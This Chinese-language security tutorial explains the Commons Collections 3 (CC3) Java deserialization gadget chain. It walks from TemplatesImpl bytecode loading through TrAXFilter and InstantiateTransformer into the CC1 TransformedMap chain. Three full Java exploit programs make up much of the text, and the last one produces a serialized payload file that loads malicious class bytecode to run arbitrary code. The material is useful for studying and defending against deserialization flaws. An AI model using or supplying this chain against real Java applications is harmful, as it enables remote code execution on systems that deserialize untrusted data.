Java反序列化 CC3链

参考链接

https://www.bilibili.com/video/BV1Zf4y1F74K

环境搭建

和jdk貌似关系不大,用之前的8u65或者8u71都可以
cc用的3.2.1

利用链分析

寻找链子的过程:
ClassLoader#defineClass->
TemplatesImpl#defineClass->
TemplatesImpl#defineTransletClasses->
TemplatesImpl#getTransletInstance->
TemplatesImpl#newTransformer->
TrAXFilter#TrAXFilter-> (TemplatesImpl#getOutputProperties)
InstantiateTransformer#transform->
转化为CC1调用xxx.transform
CC3和之前的链子存在一些差异,总结来说如下

  • 不用InvokerTransformer命令执行,改用defineClass(),利用动态类加载来代码执行
  • 使用InstantiateTransformer#transform()来创建想要的实例对象,进而触发动态加载代码块

Exp编写

从defineClass()开始找的过程省略了,就是一直find usage,最后能走进TemplatesImpl。
关于defineClass()为什么能代码执行,去看基础知识的动态类加载。

TemplatesImpl#defineTransletClasses()

这个函数调用了defineClass(),并且由于TemplatesImpl是可序列化的,通过反射去改变像_bytecodes、_class[]这种的参数,可以控制程序的执行流。
image.png
defineTransletClasses()还是private的,find usage看哪个函数调用了它。
可以看到三个get开头、第4个字符大写的函数,实际上这里可以联想到fastjson的调用任意getter方法。
这里不深究,后面fastjson反序列化还会调试到这里,这里以getTransletInstance为例,继续往下看。
image.png

TemplatesImpl#getTransletInstance()

这里显然用反射控制一下_name,绕过一个if就可以把链子串起来了。

image.png

getTransletInstance还是private的,再find usage往上找,只有一个结果

image.png

TemplatesImpl#newTransformer()

这里终于找到public的方法了,接下来可以去其他类找,谁调用了newTransformer()

image.png

继续find usage,最终可以找到TrAXFilter#TrAXFilter()
这里实际上还有其他利用方法,CB1用的getOutputProperties
image.png

TrAXFilter#TrAXFilter()

这个是个public的构造函数,直接正常创建TrAXFilter对象,就会触发调用链条

image.png

到这里我们测试一下是否可以执行代码,Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class TestCC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Jasper");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//触发调用函数
// templates.newTransformer();
new TrAXFilter(templates);
}
}

image.png
现在问题是,哪个类能够实现,new出一个指定对象的功能。
这里ysosierial的作者在CC3的payload里给出了答案,用InstantiateTransformer#transform。

InstantiateTransformer#transform()

这个类可序列化,transform里有段用反射获取构造函数,然后生成对象的代码,完美符合我们的要求。

image.png

传参的细枝末节不细写了,尝试编写Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class TestCC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Jasper");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//触发调用函数
// templates.newTransformer();
// new TrAXFilter(templates);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

}
}

image.png

转化为调用xxx.transform

现在把问题转化为熟悉的调用xxx.transform,直接用CC1/CC6的链子即可,传参不再细说

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class TestCC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
setFieldValue(templates,"_name","Jasper");
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
// _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory
// setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//触发调用函数
// templates.newTransformer();
// new TrAXFilter(templates);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);

//结合CC1-TransformedMap调用instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("jasper");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Jasper");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
// unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

总结

CC3实现代码执行,与命令执行有本质区别。